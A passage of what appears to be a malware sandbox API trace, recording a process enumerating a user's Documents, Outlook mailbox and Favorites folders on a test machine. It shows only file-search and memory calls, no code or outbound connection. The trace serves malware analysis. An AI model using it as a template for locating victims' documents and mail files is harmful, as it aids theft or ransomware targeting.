lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.664] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175850 | out: hHeap=0x5d0000) returned 1 [0066.664] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.664] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0066.664] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0066.664] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.664] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.664] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31759b8 | out: hHeap=0x5d0000) returned 1 [0066.664] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\") returned="yiub\\" [0066.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0066.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.664] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.664] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.664] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.664] PathFindFileNameW (pszPath="") returned="" [0066.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ff0450, ftCreationTime.dwHighDateTime=0x1d4cf47, ftLastAccessTime.dwLowDateTime=0xc35fbe10, ftLastAccessTime.dwHighDateTime=0x1d4d562, ftLastWriteTime.dwLowDateTime=0xc35fbe10, ftLastWriteTime.dwHighDateTime=0x1d4d562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.665] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d2d8 | out: hHeap=0x5d0000) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ff0450, ftCreationTime.dwHighDateTime=0x1d4cf47, ftLastAccessTime.dwLowDateTime=0xc35fbe10, ftLastAccessTime.dwHighDateTime=0x1d4d562, ftLastWriteTime.dwLowDateTime=0xc35fbe10, ftLastWriteTime.dwHighDateTime=0x1d4d562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x425460b0, ftCreationTime.dwHighDateTime=0x1d4d2fa, ftLastAccessTime.dwLowDateTime=0x3de3c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d0d0, ftLastWriteTime.dwLowDateTime=0x3de3c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d0d0, nFileSizeHigh=0x0, nFileSizeLow=0x1607c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0yRPUT6TDREHeWByR4rP.docx", cAlternateFileName="0YRPUT~1.DOC")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7521da0, ftCreationTime.dwHighDateTime=0x1d4d552, ftLastAccessTime.dwLowDateTime=0xf18700e0, ftLastAccessTime.dwHighDateTime=0x1d4cbdb, ftLastWriteTime.dwLowDateTime=0xf18700e0, ftLastWriteTime.dwHighDateTime=0x1d4cbdb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="18tCh2fbWO9uqJ4SH0r", cAlternateFileName="18TCH2~1")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe919c370, ftCreationTime.dwHighDateTime=0x1d4cded, ftLastAccessTime.dwLowDateTime=0x55c63260, ftLastAccessTime.dwHighDateTime=0x1d4d433, ftLastWriteTime.dwLowDateTime=0x55c63260, ftLastWriteTime.dwHighDateTime=0x1d4d433, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FZM1YvnX6BDzLLQ_", cAlternateFileName="FZM1YV~1")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8410a770, ftCreationTime.dwHighDateTime=0x1d4c8a5, ftLastAccessTime.dwLowDateTime=0xb8dfb3d0, ftLastAccessTime.dwHighDateTime=0x1d4c7ea, ftLastWriteTime.dwLowDateTime=0xb8dfb3d0, ftLastWriteTime.dwHighDateTime=0x1d4c7ea, nFileSizeHigh=0x0, nFileSizeLow=0x8551, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FZYI0v6_buDm-d9O.odp", cAlternateFileName="FZYI0V~1.ODP")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44de8980, ftCreationTime.dwHighDateTime=0x1d4caa0, ftLastAccessTime.dwLowDateTime=0x36939e50, ftLastAccessTime.dwHighDateTime=0x1d4c71d, ftLastWriteTime.dwLowDateTime=0x36939e50, ftLastWriteTime.dwHighDateTime=0x1d4c71d, nFileSizeHigh=0x0, nFileSizeLow=0x7f71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Kv9O7qYcn-HRyPYLby.xls", cAlternateFileName="KV9O7Q~1.XLS")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85d4070, ftCreationTime.dwHighDateTime=0x1d4cbe7, ftLastAccessTime.dwLowDateTime=0xec79da0, ftLastAccessTime.dwHighDateTime=0x1d4c857, ftLastWriteTime.dwLowDateTime=0xec79da0, ftLastWriteTime.dwHighDateTime=0x1d4c857, nFileSizeHigh=0x0, nFileSizeLow=0x3d85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nbee0Jd.doc", cAlternateFileName="")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb10e80, ftCreationTime.dwHighDateTime=0x1d4d025, ftLastAccessTime.dwLowDateTime=0x38daabb0, ftLastAccessTime.dwHighDateTime=0x1d4cebe, ftLastWriteTime.dwLowDateTime=0x38daabb0, ftLastWriteTime.dwHighDateTime=0x1d4cebe, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="o5D3Phk7JF5o4RP.xls", cAlternateFileName="O5D3PH~1.XLS")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf18f380, ftCreationTime.dwHighDateTime=0x1d4c5d4, ftLastAccessTime.dwLowDateTime=0xaa359e10, ftLastAccessTime.dwHighDateTime=0x1d4d480, ftLastWriteTime.dwLowDateTime=0xaa359e10, ftLastWriteTime.dwHighDateTime=0x1d4d480, nFileSizeHigh=0x0, nFileSizeLow=0x66f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pty5yFAIeFtI0nYC_b.odp", cAlternateFileName="PTY5YF~1.ODP")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d896410, ftCreationTime.dwHighDateTime=0x1d4d3bd, ftLastAccessTime.dwLowDateTime=0x3162a890, ftLastAccessTime.dwHighDateTime=0x1d4cfb0, ftLastWriteTime.dwLowDateTime=0x3162a890, ftLastWriteTime.dwHighDateTime=0x1d4cfb0, nFileSizeHigh=0x0, nFileSizeLow=0xecad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tHX0zgZ7OA49IM.xlsx", cAlternateFileName="THX0ZG~1.XLS")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca2c5060, ftCreationTime.dwHighDateTime=0x1d4c706, ftLastAccessTime.dwLowDateTime=0xcf0fdc40, ftLastAccessTime.dwHighDateTime=0x1d4d4d6, ftLastWriteTime.dwLowDateTime=0xcf0fdc40, ftLastWriteTime.dwHighDateTime=0x1d4d4d6, nFileSizeHigh=0x0, nFileSizeLow=0xda9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x6ElzgARF.doc", cAlternateFileName="X6ELZG~1.DOC")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe095030, ftCreationTime.dwHighDateTime=0x1d4c913, ftLastAccessTime.dwLowDateTime=0x473abdf0, ftLastAccessTime.dwHighDateTime=0x1d4c6fb, ftLastWriteTime.dwLowDateTime=0x473abdf0, ftLastWriteTime.dwHighDateTime=0x1d4c6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZHL2s_-N8agn", cAlternateFileName="ZHL2S_~1")) returned 1 [0066.665] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe095030, ftCreationTime.dwHighDateTime=0x1d4c913, ftLastAccessTime.dwLowDateTime=0x473abdf0, ftLastAccessTime.dwHighDateTime=0x1d4c6fb, ftLastWriteTime.dwLowDateTime=0x473abdf0, ftLastWriteTime.dwHighDateTime=0x1d4c6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZHL2s_-N8agn", cAlternateFileName="ZHL2S_~1")) returned 0 [0066.665] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.665] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.665] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0066.665] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.665] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0066.665] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0066.665] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.666] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.666] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.666] PathFindFileNameW (pszPath="") returned="" [0066.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0066.666] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.666] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.666] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0066.666] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0066.666] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0066.666] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0066.666] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.666] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0066.666] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0066.666] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.666] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.667] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.667] PathFindFileNameW (pszPath="") returned="" [0066.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0066.669] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.669] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0066.669] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0066.669] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0066.669] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0066.669] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0066.669] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0066.669] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf90 | out: hHeap=0x5d0000) returned 1 [0066.670] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0066.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0066.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.670] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.671] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.671] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.671] PathFindFileNameW (pszPath="") returned="" [0066.671] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.672] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0066.672] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.672] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0066.672] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, 